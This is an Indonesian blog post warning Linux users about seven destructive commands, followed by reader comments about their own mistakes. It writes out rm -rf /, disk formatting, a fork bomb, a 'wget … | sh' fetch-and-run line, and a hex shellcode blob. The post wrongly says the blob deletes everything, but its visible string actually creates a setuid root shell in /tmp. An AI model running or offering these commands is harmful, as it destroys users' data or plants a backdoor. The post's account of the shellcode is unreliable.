Awas : 7 Perintah Mematikan di Linux
Linux terkenal karena aspek keamanan penggunaan. Virus yang berteman baik dengan Windows misalnya, harus mencari cara yang sangat rumit untuk bisa menembus Linux.
Meski demikian, dunia yang fana ini (hehehe…) merupakan tempat bagi beragam orang dengan berbagai sifat. Para penjahat dan psikopat bisa saja menyamar di berbagai forum dan mailing list, dan alih-alih memberikan solusi justru bisa membuat anda menderita. Adakalanya perintah-perintah berbahaya di Linux dijadikan sebagai lelucon untuk menggoda (meski berbagai distro memiliki etika dan guiding principle yang melarang lelucon berbahaya) meski ada juga yang memang berniat menjebak orang lain.
Berikut adalah 7 perintah berbahaya yang disarikan dari 7 Deadly Command :
- Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri - Perintah menggunakan bilangan hexa
- Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk. - Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa. - Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk) - Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya. - Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup…
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman
Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux.





Untung saya bukan root. Sedikit lebih aman lah, hehe.
Ya, mudah-mudahan nggak lupa kalau suka ngetik sudo :-))
Hehe,, bisa ja,,
.
Emang sudo menjadi suatu kebiasaan sih, sapa tau suka lupa
ga ada logo Gentoo?
crontab -
akan menghapus crontab anda. Padahal maksudnya mengetik crontab -e atau crontab -l, tapi keyboard nya kurang tekan.
safe-rm mestinya bisa mengurangi resiko kesalahan 1 dan 2
http://code.google.com/p/safe-rm/
@Dimas,
Ini juga pengalaman pribadi saya, suka kelupaan pakai sudo / su
@s4t4n1c,
Sudah nggak muat,hehehe… Nanti saya rolling deh, soalnya distro Linux memang seperti rimba belantara. BTW, benar tidak Gentoo yang ada disini : http://vavai.com/v2/2008/11/intermezzo-seputar-linux-dan-windows/
@Ilhami
Thanks buat tambahannya. Saya pernah mengalami yang sama dan isi crontab di server mirror openSUSE hilang semua :-))
@Andika,
Thanks buat info-nya. Baru kali ini dengar
sudo yg secara default diaktifkan (semisal:ubuntu) menurut saya amat rentan dan riskan khususnya user pemula. dan kebanyakan pemula gak ngerti apa maksut dari sudo.
berdasarkan pengalaman saya, yg semi manual memang menguntungkan, khususnya Debian.:)
sudah pernah terjadi
untung data nya ada di backup server ke - 2 (orang Indo slalu “UNTUNG”
Jadi tinggal panggil balik…
THNQ atas article nya
@Cahyo Purnomo,
Saya malah selama 1 tahun lebih pertama menangani server Linux, login ke server langsung pakai root, hahaha…
@David W,
Thanks juga buat sharenya pak. Memang untung bisa kembali. Saya pernah keringat dingin menghilangkan 500 record waktu pertama kali jadi programmer (oot dari topik Linux). Itu adalah hari kerja pertama saya tanpa makan siang karena saya input ulang data yang hilang
Saya suka deg - degan klo lagi ngetik rm -rf.
@Onay,
Saya malah lebih sering deg-degan karena ngetik perintah halt karena kadang lupa kalau saya lagi ssh ke server
Nggak bikin data hilang tapi langsung ada teriakan, “Lho, kok server nggak bisa diakses !”, hehehe…